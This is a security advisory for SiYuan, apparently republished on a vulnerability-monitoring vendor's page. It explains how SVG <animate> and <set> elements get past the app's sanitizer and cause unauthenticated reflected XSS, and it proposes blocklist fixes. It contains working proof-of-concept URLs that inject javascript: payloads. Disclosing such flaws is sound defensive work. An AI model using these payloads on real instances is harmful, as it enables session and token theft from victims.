Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-5hc8-qmg8-pw27
No affected components available
SVG Sanitizer Bypass via <animate> Element — Unauthenticated XSS
Summary
SiYuan's SVG sanitizer (SanitizeSVG) blocks dangerous elements (<script>, <iframe>, <foreignobject>) and removes on* event handlers and javascript: in href attributes. However, it does NOT block SVG animation elements (<animate>, <set>) which can dynamically set attributes to dangerous values at runtime, bypassing the static sanitization. This allows an attacker to inject executable JavaScript into the unauthenticated /api/icon/getDynamicIcon endpoint (type=8), creating a reflected XSS.
This is a bypass of the fix for CVE-2026-29183 (fixed in v3.5.9).
Affected Component
- File:
kernel/util/misc.go - Function:
SanitizeSVG()(lines 234-319) - Endpoint:
GET /api/icon/getDynamicIcon?type=8&content=...(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The sanitizer checks attributes on elements at parse time. SVG <animate> and <set> elements modify attributes at runtime — these elements are not in the sanitizer's blocklist.
Sanitizer's blocklist (line 250)
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" || tag == "foreignobject" {
n.RemoveChild(c)
// ...
}
Missing from blocklist: animate, set, animateTransform, animateMotion
Attribute check (lines 264-267)
// Only checks static attributes
if strings.HasPrefix(key, "on") {
continue
}
The <animate> element's values attribute contains the payload (javascript:...), but the sanitizer only checks for on* prefix, href, or xlink:href keys. The values, to, from, attributeName attributes are all passed through.
Proof of Concept
Vector 1: <animate> sets href to javascript:
GET /api/icon/getDynamicIcon?type=8&content=</text><a><animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/><text x="50%25" y="80%25" fill="red" style="font-size:60px">Click me</text></a><text>&color=blue
After template rendering, the SVG contains:
<svg ...>
<text ...></text>
<a>
<animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>
<text x="50%" y="80%" fill="red" style="font-size:60px">Click me</text>
</a>
<text></text>
</svg>
The sanitizer passes this through because:
<animate>is not in the element blocklistattributeName="href"— key isattributename, doesn't start withon, nothrefitselfvalues="javascript:..."— key isvalues, nothref
When the SVG is rendered in the browser (navigating directly to the URL), <animate> sets the parent <a> element's href to javascript:alert(document.domain). Clicking "Click me" triggers the JavaScript.
Vector 2: <set> modifies event handlers
GET /api/icon/getDynamicIcon?type=8&content=</text><set attributeName="onmouseover" to="alert(document.domain)"/><text>&color=blue
The <set> element dynamically adds an onmouseover event handler to the parent element at runtime.
Attack Scenario
- Attacker crafts a malicious
getDynamicIconURL with XSS payload - Attacker sends the URL to a victim who has an active SiYuan session
- Victim clicks/navigates to the URL
- SVG renders with Content-Type
image/svg+xml— browser renders as standalone SVG document - JavaScript executes in the SiYuan server's origin
- Attacker steals session cookies, API tokens, or makes authenticated API calls to read/modify notes
Impact
- Severity: CRITICAL (CVSS ~9.1)
- Type: CWE-79 (Improper Neutralization of Input During Web Page Generation)
- Unauthenticated reflected XSS via SVG injection
- Executes in the SiYuan application origin, giving full access to authenticated APIs
- Can chain to: data exfiltration, note modification, configuration theft (API tokens, auth codes)
- Bypasses the fix for CVE-2026-29183
Suggested Fix
Add animation elements to the sanitizer blocklist:
// In SanitizeSVG, line 250:
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
tag == "foreignobject" || tag == "animate" || tag == "set" ||
tag == "animatetransform" || tag == "animatemotion" {
n.RemoveChild(c)
c = next
continue
}
Or additionally check the values, to, and from attributes for javascript: patterns:
if key == "values" || key == "to" || key == "from" {
if strings.Contains(val, "javascript:") {
continue
}
}
Also consider checking attributeName — if it targets href, xlink:href, or any on* attribute, the animation element should be removed entirely.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard